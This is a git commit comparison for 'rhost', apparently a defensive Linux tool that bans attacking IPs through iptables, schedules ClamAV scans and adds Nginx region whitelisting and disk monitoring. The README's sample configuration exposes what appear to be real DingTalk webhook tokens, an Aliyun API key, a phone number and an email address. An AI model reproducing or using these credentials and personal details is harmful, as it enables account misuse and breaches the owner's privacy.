Compare commits
6 Commits
950bd28f60
...
fa2ea1f83c
Author | SHA1 | Date | |
---|---|---|---|
fa2ea1f83c | |||
2722e9b2e1 | |||
f7f7d7136a | |||
00567557ba | |||
778c9d5fff | |||
b5bd70ec71 |
12
.vscode/settings.json
vendored
Normal file
12
.vscode/settings.json
vendored
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"files.associations": {
|
||||||
|
"assert.h": "c",
|
||||||
|
"ip2region.h": "c",
|
||||||
|
"conf.h": "c",
|
||||||
|
"ccronexpr.h": "c",
|
||||||
|
"clamscan.h": "c",
|
||||||
|
"libiptc.h": "c",
|
||||||
|
"stdio.h": "c",
|
||||||
|
"nginx.h": "c"
|
||||||
|
}
|
||||||
|
}
|
6
Makefile
6
Makefile
@ -36,9 +36,9 @@ LIBCOMMON__CFLAGS += -DHAVE_CONFIG_H -I./clamav/common -I./clamav/libclamav -I./
|
|||||||
LIBCOMMON_LIB += ./clamav/common/cert_util.c.o ./clamav/common/actions.c.o ./clamav/common/clamdcom.c.o ./clamav/common/getopt.c.o ./clamav/common/hostid.c.o ./clamav/common/idmef_logging.c.o ./clamav/common/misc.c.o ./clamav/common/optparser.c.o ./clamav/common/output.c.o ./clamav/common/tar.c.o ./clamav/common/linux/cert_util_linux.c.o
|
LIBCOMMON_LIB += ./clamav/common/cert_util.c.o ./clamav/common/actions.c.o ./clamav/common/clamdcom.c.o ./clamav/common/getopt.c.o ./clamav/common/hostid.c.o ./clamav/common/idmef_logging.c.o ./clamav/common/misc.c.o ./clamav/common/optparser.c.o ./clamav/common/output.c.o ./clamav/common/tar.c.o ./clamav/common/linux/cert_util_linux.c.o
|
||||||
|
|
||||||
|
|
||||||
all: libclamav_rust libclamav rhost
|
all: libclamav_rust libclamav rhost nginx.o
|
||||||
|
|
||||||
rhost: conf.o rhost.o libiptc.o ccronexpr.o
|
rhost: conf.o rhost.o libiptc.o ccronexpr.o nginx.o disk.o
|
||||||
$(CC) $(ip2region_CFLAGS) ip2region/ip2region.c
|
$(CC) $(ip2region_CFLAGS) ip2region/ip2region.c
|
||||||
$(CC) $(ip2region_CFLAGS) ip2region/xdb_searcher.c
|
$(CC) $(ip2region_CFLAGS) ip2region/xdb_searcher.c
|
||||||
$(CC) $(cJSON_CFLAGS) cJSON/cJSON.c
|
$(CC) $(cJSON_CFLAGS) cJSON/cJSON.c
|
||||||
@ -69,7 +69,7 @@ libclamav:
|
|||||||
|
|
||||||
|
|
||||||
test:
|
test:
|
||||||
echo $(CMAKE) $(ARCH)
|
echo $(CMAKE) $(ARCH) $(CFLAGS)
|
||||||
|
|
||||||
static: conf.o rhost.o libiptc.o
|
static: conf.o rhost.o libiptc.o
|
||||||
$(CC) $(IPTC_CFLAGS) -c libiptc/libip4tc.c -o libiptc/libip4tc.o
|
$(CC) $(IPTC_CFLAGS) -c libiptc/libip4tc.c -o libiptc/libip4tc.o
|
||||||
|
41
README.md
41
README.md
@ -21,7 +21,7 @@ Debian
|
|||||||
freshclam # 更新病毒库(必要)
|
freshclam # 更新病毒库(必要)
|
||||||
|
|
||||||
|
|
||||||
Debian系统使用libiptc库需要nftables切换到iptables
|
Debian系统使用libiptc库需要nftables切换到iptables (使用了libip4tc-dev库)
|
||||||
Switching to the legacy version:(切换到 iptables)
|
Switching to the legacy version:(切换到 iptables)
|
||||||
update-alternatives --set iptables /usr/sbin/iptables-legacy
|
update-alternatives --set iptables /usr/sbin/iptables-legacy
|
||||||
update-alternatives --set ip6tables /usr/sbin/ip6tables-legacy
|
update-alternatives --set ip6tables /usr/sbin/ip6tables-legacy
|
||||||
@ -65,10 +65,27 @@ make all
|
|||||||
./rhost # 只处理非法攻击
|
./rhost # 只处理非法攻击
|
||||||
|
|
||||||
|
|
||||||
关闭
|
关闭:
|
||||||
killall rhost
|
killall rhost
|
||||||
|
|
||||||
|
|
||||||
|
帮助:
|
||||||
|
./rhost -h
|
||||||
|
Rhost Reject host&scan for viruses (Rhost 拒绝主机并扫描病毒)
|
||||||
|
Author: AIXIAO@AIXIAO.ME
|
||||||
|
Version: 1.0
|
||||||
|
Usage: [-?h] [-d]
|
||||||
|
|
||||||
|
Options:
|
||||||
|
-d : Background running
|
||||||
|
-? -h --help : help information
|
||||||
|
The configuration file needs to be in the same directory as the executable file!
|
||||||
|
配置文件需要与可执行文件位于同一目录中!
|
||||||
|
|
||||||
|
|
||||||
|
May 22 2024 15:05:59 Compile、link.
|
||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
```text
|
```text
|
||||||
@ -78,8 +95,10 @@ global {
|
|||||||
DAEMON = "off"; // on开启后台运行,off不开启(弃用)
|
DAEMON = "off"; // on开启后台运行,off不开启(弃用)
|
||||||
TIME = "10"; // 睡眠时间(大于等于1,单位秒)
|
TIME = "10"; // 睡眠时间(大于等于1,单位秒)
|
||||||
|
|
||||||
|
|
||||||
PUBLIC_IP = "http://inet-ip.info"; // 获取公网IP
|
PUBLIC_IP = "http://inet-ip.info"; // 获取公网IP
|
||||||
|
|
||||||
|
|
||||||
IS_DISK = 1; // 磁盘使用率(1开启,非1关闭)
|
IS_DISK = 1; // 磁盘使用率(1开启,非1关闭)
|
||||||
DISK_USE = 95; // 任意某块磁盘使用率告警(大于等于1)
|
DISK_USE = 95; // 任意某块磁盘使用率告警(大于等于1)
|
||||||
|
|
||||||
@ -87,9 +106,10 @@ global {
|
|||||||
IS_BLOCKED = 1; // 是否封禁攻击IP(1开启,非1关闭)
|
IS_BLOCKED = 1; // 是否封禁攻击IP(1开启,非1关闭)
|
||||||
REFUSE_NUMBER = 3; // 拒绝攻击次数
|
REFUSE_NUMBER = 3; // 拒绝攻击次数
|
||||||
|
|
||||||
|
|
||||||
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
|
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
|
||||||
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected|^/root|^/home|^/mnt|^/usr|^/var --move=/opt/infected --max-filesize 1024M -l clamscan.log";
|
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected|^/root|^/home|^/mnt|^/usr|^/var --move=/opt/infected --max-filesize 1024M -l clamscan.log";
|
||||||
CLAMAV_TIME = "* 1 4 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
|
CLAMAV_TIME = "* 45 11 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
|
||||||
|
|
||||||
|
|
||||||
IPV4_RESTRICTION = 1; // 是否启用IP白名单(1开启,非1关闭)
|
IPV4_RESTRICTION = 1; // 是否启用IP白名单(1开启,非1关闭)
|
||||||
@ -98,21 +118,24 @@ global {
|
|||||||
|
|
||||||
REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
|
REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
|
||||||
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
|
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
|
||||||
//REGION_URL = "http://opendata.baidu.com/api.php?query=%s&co=&resource_id=6006&oe=utf8"; // 获取IP地域(aliyun付费API, 弃用)
|
|
||||||
REGION_URL = "https://api01.aliyun.venuscn.com/ip?ip=%s -H Authorization:APPCODE a1d842b8afda418c8ea24271a4e16b1f";
|
|
||||||
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
|
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
|
||||||
|
|
||||||
|
|
||||||
|
NGINX = 1; // 是否启用Nginx白名单
|
||||||
|
NGINX_LOG_FILE= "/usr/local/nginx/logs/access.log"; // Nginx 日志文件
|
||||||
|
NGINX_REGION_LIST = "中国 河南 郑州 上海"; // 地域列表(空格隔开)
|
||||||
|
|
||||||
|
|
||||||
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
|
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
|
||||||
|
|
||||||
|
|
||||||
IS_DING_WEBHOOK = 0; // 开启叮叮告警(1开启,非1关闭)
|
IS_DING_WEBHOOK = 1; // 开启叮叮告警(1开启,非1关闭)
|
||||||
PHONE = "15565979082"; // @的人手机号
|
PHONE = "15565979082"; // @的人手机号
|
||||||
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=7f069c672cb878987aa6772cca336740eece4ce36bde12b51b45e9f440e0565a"; // 钉钉WEBHOOK
|
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=396bce0384cded025087cff3c176ea5e9afb9bd8fcaa46d6fa8c51dd172ba513"; // 钉钉WEBHOOK
|
||||||
|
|
||||||
|
|
||||||
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail:https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
|
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail: https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
|
||||||
RECV_MAIL = "1605227279@qq.com"; // 接收者QQ
|
RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -1 +1 @@
|
|||||||
{"rustc_fingerprint":537842707314038760,"outputs":{"10376369925670944939":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""},"4614504638168534921":{"success":true,"status":"","code":0,"stdout":"rustc 1.63.0\nbinary: rustc\ncommit-hash: unknown\ncommit-date: unknown\nhost: x86_64-unknown-linux-gnu\nrelease: 1.63.0\nLLVM version: 14.0.6\n","stderr":""},"15493033989842322569":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""},"15697416045686424142":{"success":false,"status":"exit status: 1","code":1,"stdout":"","stderr":"error: `-Csplit-debuginfo` is unstable on this platform\n\n"},"9218888252049904301":{"success":false,"status":"exit status: 1","code":1,"stdout":"","stderr":"error: `-Csplit-debuginfo` is unstable on this platform\n\n"}},"successes":{}}
|
{"rustc_fingerprint":5376818386984183904,"outputs":{"14371922958718593042":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\noff\npacked\nunpacked\n___\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""},"4614504638168534921":{"success":true,"status":"","code":0,"stdout":"rustc 1.71.1\nbinary: rustc\ncommit-hash: unknown\ncommit-date: unknown\nhost: x86_64-unknown-linux-gnu\nrelease: 1.71.1\nLLVM version: 16.0.6\n","stderr":""},"15729799797837862367":{"success":true,"status":"","code":0,"stdout":"___\nlib___.rlib\nlib___.so\nlib___.so\nlib___.a\nlib___.so\n/usr\noff\npacked\nunpacked\n___\ndebug_assertions\npanic=\"unwind\"\nproc_macro\ntarget_arch=\"x86_64\"\ntarget_endian=\"little\"\ntarget_env=\"gnu\"\ntarget_family=\"unix\"\ntarget_feature=\"fxsr\"\ntarget_feature=\"sse\"\ntarget_feature=\"sse2\"\ntarget_has_atomic=\"16\"\ntarget_has_atomic=\"32\"\ntarget_has_atomic=\"64\"\ntarget_has_atomic=\"8\"\ntarget_has_atomic=\"ptr\"\ntarget_os=\"linux\"\ntarget_pointer_width=\"64\"\ntarget_vendor=\"unknown\"\nunix\n","stderr":""}},"successes":{}}
|
29
conf.c
29
conf.c
@ -219,6 +219,24 @@ static void parse_global_module(char *content, conf * conf)
|
|||||||
conf->DISK_USE = atoi(val_begin);
|
conf->DISK_USE = atoi(val_begin);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// NGINX
|
||||||
|
if (strcasecmp(var, "NGINX") == 0) {
|
||||||
|
val_begin_len = val_end - val_begin;
|
||||||
|
conf->NGINX = atoi(val_begin);
|
||||||
|
}
|
||||||
|
if (strcasecmp(var, "NGINX_LOG_FILE") == 0) {
|
||||||
|
val_begin_len = val_end - val_begin;
|
||||||
|
conf->NGINX_LOG_FILE_LEN = val_begin_len;
|
||||||
|
if (copy_new_mem(val_begin, val_begin_len, &conf->NGINX_LOG_FILE) != 0)
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (strcasecmp(var, "NGINX_REGION_LIST") == 0) {
|
||||||
|
val_begin_len = val_end - val_begin;
|
||||||
|
conf->NGINX_REGION_LIST_LEN = val_begin_len;
|
||||||
|
if (copy_new_mem(val_begin, val_begin_len, &conf->NGINX_REGION_LIST) != 0)
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
content = strchr(lineEnd + 1, '\n');
|
content = strchr(lineEnd + 1, '\n');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -313,6 +331,11 @@ void free_conf(conf * conf)
|
|||||||
if (conf->CLAMAV_ARG)
|
if (conf->CLAMAV_ARG)
|
||||||
free(conf->CLAMAV_ARG);
|
free(conf->CLAMAV_ARG);
|
||||||
|
|
||||||
|
// NGINX
|
||||||
|
if (conf->NGINX_LOG_FILE)
|
||||||
|
free(conf->NGINX_LOG_FILE);
|
||||||
|
if (conf->NGINX_REGION_LIST)
|
||||||
|
free(conf->NGINX_REGION_LIST);
|
||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@ -351,6 +374,12 @@ void ptintf_conf(conf * conf)
|
|||||||
|
|
||||||
if (conf->CLAMAV_ARG)
|
if (conf->CLAMAV_ARG)
|
||||||
printf("CLAMAV_ARG %s %d\n", conf->CLAMAV_ARG, conf->CLAMAV_ARG_LEN);
|
printf("CLAMAV_ARG %s %d\n", conf->CLAMAV_ARG, conf->CLAMAV_ARG_LEN);
|
||||||
|
|
||||||
|
// Nginx
|
||||||
|
if (conf->NGINX_LOG_FILE)
|
||||||
|
printf("CLAMAV_ARG %s %d\n", conf->NGINX_LOG_FILE, conf->NGINX_LOG_FILE_LEN);
|
||||||
|
if (conf->NGINX_REGION_LIST)
|
||||||
|
printf("CLAMAV_ARG %s %d\n", conf->NGINX_REGION_LIST, conf->NGINX_REGION_LIST_LEN);
|
||||||
}
|
}
|
||||||
|
|
||||||
void split_string(char string[], char delims[], char (*whitelist_ip)[WHITELIST_IP_NUM])
|
void split_string(char string[], char delims[], char (*whitelist_ip)[WHITELIST_IP_NUM])
|
||||||
|
7
conf.h
7
conf.h
@ -44,6 +44,13 @@ typedef struct CONF
|
|||||||
char *IPV4_WHITE_LIST;
|
char *IPV4_WHITE_LIST;
|
||||||
int IPV4_WHITE_LIST_LEN;
|
int IPV4_WHITE_LIST_LEN;
|
||||||
|
|
||||||
|
// NGINX
|
||||||
|
int NGINX;
|
||||||
|
char *NGINX_LOG_FILE;
|
||||||
|
int NGINX_LOG_FILE_LEN;
|
||||||
|
char *NGINX_REGION_LIST;
|
||||||
|
int NGINX_REGION_LIST_LEN;
|
||||||
|
|
||||||
int IS_MAIL;
|
int IS_MAIL;
|
||||||
|
|
||||||
// 钉钉
|
// 钉钉
|
||||||
|
59
disk.c
Normal file
59
disk.c
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <mntent.h>
|
||||||
|
#include <sys/statvfs.h>
|
||||||
|
|
||||||
|
// 获取指定路径的磁盘使用率
|
||||||
|
int get_disk_usage(const char *path, double *usage) {
|
||||||
|
struct statvfs stat;
|
||||||
|
|
||||||
|
if (statvfs(path, &stat) != 0) {
|
||||||
|
// 处理错误
|
||||||
|
perror("statvfs failed");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 计算磁盘使用率
|
||||||
|
unsigned long total_blocks = stat.f_blocks;
|
||||||
|
unsigned long free_blocks = stat.f_bfree;
|
||||||
|
unsigned long used_blocks = total_blocks - free_blocks;
|
||||||
|
|
||||||
|
*usage = (double)used_blocks / total_blocks * 100;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int disk_usage() {
|
||||||
|
FILE *mounts;
|
||||||
|
struct mntent *ent;
|
||||||
|
|
||||||
|
mounts = setmntent("/etc/mtab", "r");
|
||||||
|
if (mounts == NULL) {
|
||||||
|
perror("setmntent failed");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
while ((ent = getmntent(mounts)) != NULL)
|
||||||
|
{
|
||||||
|
double usage = 0;
|
||||||
|
if (strstr(ent->mnt_fsname, "/dev/") != NULL)
|
||||||
|
{
|
||||||
|
//printf("%s %s %s\n", ent->mnt_fsname, ent->mnt_dir, ent->mnt_type);
|
||||||
|
|
||||||
|
if (get_disk_usage(ent->mnt_dir, &usage) != 0) {
|
||||||
|
fprintf(stderr, "Failed to get disk usage for %s\n", ent->mnt_dir);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
int threshold = 1;
|
||||||
|
if (usage > threshold) {
|
||||||
|
printf("挂载点: %s 使用率: %.2f%% 阀值: %d%%\n", ent->mnt_dir, usage, threshold);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
endmntent(mounts);
|
||||||
|
return 0;
|
||||||
|
}
|
12
disk.h
Normal file
12
disk.h
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
#ifndef DISK_H
|
||||||
|
#define DISK_H
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <mntent.h>
|
||||||
|
#include <sys/statvfs.h>
|
||||||
|
|
||||||
|
extern int disk_usage();
|
||||||
|
|
||||||
|
#endif
|
11
libiptc.c
11
libiptc.c
@ -105,7 +105,8 @@ struct ipt_entry_match *get_match(const char *sports, const char *dports, unsign
|
|||||||
return match;
|
return match;
|
||||||
}
|
}
|
||||||
|
|
||||||
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append)
|
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, \
|
||||||
|
unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append)
|
||||||
{
|
{
|
||||||
struct xtc_handle *handle;
|
struct xtc_handle *handle;
|
||||||
struct ipt_entry *chain_entry;
|
struct ipt_entry *chain_entry;
|
||||||
@ -116,6 +117,10 @@ int iptc_add_rule(const char *table, const char *chain, int protocol, const char
|
|||||||
int result = 0;
|
int result = 0;
|
||||||
|
|
||||||
chain_entry = (struct ipt_entry *)calloc(1, sizeof(*chain_entry));
|
chain_entry = (struct ipt_entry *)calloc(1, sizeof(*chain_entry));
|
||||||
|
if (chain_entry == NULL) {
|
||||||
|
perror("calloc failed");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
if (src != 0) {
|
if (src != 0) {
|
||||||
chain_entry->ip.src.s_addr = src;
|
chain_entry->ip.src.s_addr = src;
|
||||||
@ -137,7 +142,8 @@ int iptc_add_rule(const char *table, const char *chain, int protocol, const char
|
|||||||
if (IPPROTO_TCP == protocol)
|
if (IPPROTO_TCP == protocol)
|
||||||
entry_match = get_match(srcports, destports, &chain_entry->nfcache, "tcp");
|
entry_match = get_match(srcports, destports, &chain_entry->nfcache, "tcp");
|
||||||
|
|
||||||
if (strcmp(target, "") == 0 || strcmp(target, IPTC_LABEL_ACCEPT) == 0 || strcmp(target, IPTC_LABEL_DROP) == 0 || strcmp(target, IPTC_LABEL_QUEUE) == 0 || strcmp(target, IPTC_LABEL_RETURN) == 0) {
|
if (strcmp(target, "") == 0 || strcmp(target, IPTC_LABEL_ACCEPT) == 0 || strcmp(target, IPTC_LABEL_DROP) == 0 || \
|
||||||
|
strcmp(target, IPTC_LABEL_QUEUE) == 0 || strcmp(target, IPTC_LABEL_RETURN) == 0) {
|
||||||
size_t size;
|
size_t size;
|
||||||
size = IPT_ALIGN(sizeof(struct ipt_entry_target)) + IPT_ALIGN(sizeof(int));
|
size = IPT_ALIGN(sizeof(struct ipt_entry_target)) + IPT_ALIGN(sizeof(int));
|
||||||
entry_target = (struct ipt_entry_target *)calloc(1, size);
|
entry_target = (struct ipt_entry_target *)calloc(1, size);
|
||||||
@ -193,6 +199,7 @@ int iptc_add_rule(const char *table, const char *chain, int protocol, const char
|
|||||||
result = iptc_insert_entry(labelit, chain_entry, 0, handle);
|
result = iptc_insert_entry(labelit, chain_entry, 0, handle);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (!result) {
|
if (!result) {
|
||||||
printf("libiptc error: Can't add, %s\n", iptc_strerror(errno));
|
printf("libiptc error: Can't add, %s\n", iptc_strerror(errno));
|
||||||
free(chain_entry);
|
free(chain_entry);
|
||||||
|
@ -30,6 +30,7 @@
|
|||||||
#define IPTC_FULL_SIZE IPTC_ENTRY_SIZE + IPTC_MATCH_SIZE + IPTC_TARGET_SIZE
|
#define IPTC_FULL_SIZE IPTC_ENTRY_SIZE + IPTC_MATCH_SIZE + IPTC_TARGET_SIZE
|
||||||
|
|
||||||
int show_all_rule(char *ipv4);
|
int show_all_rule(char *ipv4);
|
||||||
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append);
|
int iptc_add_rule(const char *table, const char *chain, int protocol, const char *iniface, const char *outiface, \
|
||||||
|
unsigned int src, unsigned int dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
275
libiptc/iptc_delete_rule.c
Normal file
275
libiptc/iptc_delete_rule.c
Normal file
@ -0,0 +1,275 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <libiptc/libiptc.h>
|
||||||
|
#include <linux/netfilter_ipv4/ip_tables.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
#define NFC_IP_SRC_PT 0x0200
|
||||||
|
#define NFC_IP_DST_PT 0x0400
|
||||||
|
|
||||||
|
#ifndef IPT_MIN_ALIGN
|
||||||
|
#define IPT_MIN_ALIGN (__alignof__(struct ipt_entry))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define IPT_ALIGN(s) (((s) + ((IPT_MIN_ALIGN)-1)) & ~((IPT_MIN_ALIGN)-1))
|
||||||
|
|
||||||
|
#define IPTC_ENTRY_SIZE XT_ALIGN(sizeof(struct ipt_entry))
|
||||||
|
#define IPTC_MATCH_SIZE XT_ALIGN(sizeof(struct ipt_entry_match) + sizeof(struct ipt_udp))
|
||||||
|
#define IPTC_TARGET_SIZE XT_ALIGN(sizeof(struct ipt_entry_target))
|
||||||
|
#define IPTC_FULL_SIZE IPTC_ENTRY_SIZE + IPTC_MATCH_SIZE + IPTC_TARGET_SIZE
|
||||||
|
|
||||||
|
#define IPTC_LABEL_ACCEPT "ACCEPT"
|
||||||
|
#define IPTC_LABEL_DROP "DROP"
|
||||||
|
#define IPTC_LABEL_QUEUE "QUEUE"
|
||||||
|
#define IPTC_LABEL_RETURN "RETURN"
|
||||||
|
|
||||||
|
static u_int16_t parse_port(const char *port)
|
||||||
|
{
|
||||||
|
return atoi(port);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void parse_ports(const char *portstring, u_int16_t *ports)
|
||||||
|
{
|
||||||
|
char *buffer;
|
||||||
|
char *cp;
|
||||||
|
|
||||||
|
buffer = strdup(portstring);
|
||||||
|
if ((cp = strchr(buffer, ':')) == NULL)
|
||||||
|
ports[0] = ports[1] = parse_port(buffer);
|
||||||
|
else {
|
||||||
|
*cp = '\0';
|
||||||
|
cp++;
|
||||||
|
|
||||||
|
ports[0] = buffer[0] ? parse_port(buffer) : 0;
|
||||||
|
ports[1] = cp[0] ? parse_port(cp) : 0xFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
free(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
struct ipt_entry_match *get_match(const char *sports, const char *dports, unsigned int *nfcache, const char *protocol)
|
||||||
|
{
|
||||||
|
struct ipt_entry_match *match;
|
||||||
|
struct ipt_udp *udpinfo;
|
||||||
|
size_t size;
|
||||||
|
|
||||||
|
size = IPT_ALIGN(sizeof(*match)) + IPT_ALIGN(sizeof(*udpinfo));
|
||||||
|
match = (struct ipt_entry_match *)calloc(1, size);
|
||||||
|
if (!match) {
|
||||||
|
perror("calloc failed for match");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
match->u.match_size = size;
|
||||||
|
strncpy(match->u.user.name, protocol, IPT_FUNCTION_MAXNAMELEN - 2);
|
||||||
|
match->u.user.name[IPT_FUNCTION_MAXNAMELEN - 2] = '\0';
|
||||||
|
|
||||||
|
udpinfo = (struct ipt_udp *)match->data;
|
||||||
|
udpinfo->spts[1] = udpinfo->dpts[1] = 0xFFFF;
|
||||||
|
|
||||||
|
if (sports) {
|
||||||
|
*nfcache |= NFC_IP_SRC_PT;
|
||||||
|
parse_ports(sports, udpinfo->spts);
|
||||||
|
}
|
||||||
|
if (dports) {
|
||||||
|
*nfcache |= NFC_IP_DST_PT;
|
||||||
|
parse_ports(dports, udpinfo->dpts);
|
||||||
|
}
|
||||||
|
|
||||||
|
return match;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打印 IP 地址
|
||||||
|
void print_ip_address(const char *label, struct in_addr addr) {
|
||||||
|
char ip_str[INET_ADDRSTRLEN];
|
||||||
|
inet_ntop(AF_INET, &addr, ip_str, sizeof(ip_str));
|
||||||
|
printf("%s: %s\n", label, ip_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打印规则详细信息
|
||||||
|
void print_rule(const char *label, const struct ipt_entry *entry) {
|
||||||
|
printf("%s:\n", label);
|
||||||
|
print_ip_address(" src", entry->ip.src);
|
||||||
|
print_ip_address(" dst", entry->ip.dst);
|
||||||
|
printf(" proto: %u\n", entry->ip.proto);
|
||||||
|
printf(" iniface: %s\n", entry->ip.iniface);
|
||||||
|
printf(" outiface: %s\n", entry->ip.outiface);
|
||||||
|
printf(" target_offset: %u\n", entry->target_offset);
|
||||||
|
printf(" next_offset: %u\n", entry->next_offset);
|
||||||
|
printf(" counters: pkts=%llu, bytes=%llu\n", entry->counters.pcnt, entry->counters.bcnt);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打印匹配结构详细信息
|
||||||
|
void print_match(const char *label, const struct ipt_entry_match *match) {
|
||||||
|
printf("%s:\n", label);
|
||||||
|
printf(" match_size: %u\n", match->u.user.match_size);
|
||||||
|
printf(" name: %s\n", match->u.user.name);
|
||||||
|
printf(" revision: %u\n", match->u.user.revision);
|
||||||
|
// 如果有特定协议的数据,例如 TCP 或 UDP,可以在这里打印具体内容
|
||||||
|
// 例如:匹配 TCP 协议时,打印源端口和目标端口
|
||||||
|
if (strcmp(match->u.user.name, "tcp") == 0) {
|
||||||
|
struct ipt_tcp *tcpinfo = (struct ipt_tcp *)match->data;
|
||||||
|
printf(" TCP source port: %u\n", ntohs(tcpinfo->spts[0]));
|
||||||
|
printf(" TCP destination port: %u\n", ntohs(tcpinfo->dpts[0]));
|
||||||
|
} else if (strcmp(match->u.user.name, "udp") == 0) {
|
||||||
|
struct ipt_udp *udpinfo = (struct ipt_udp *)match->data;
|
||||||
|
printf(" UDP source port: %u\n", ntohs(udpinfo->spts[0]));
|
||||||
|
printf(" UDP destination port: %u\n", ntohs(udpinfo->dpts[0]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打印目标结构详细信息
|
||||||
|
void print_target(const char *label, const struct ipt_entry_target *target) {
|
||||||
|
printf("%s:\n", label);
|
||||||
|
printf(" target_size: %u\n", target->u.user.target_size);
|
||||||
|
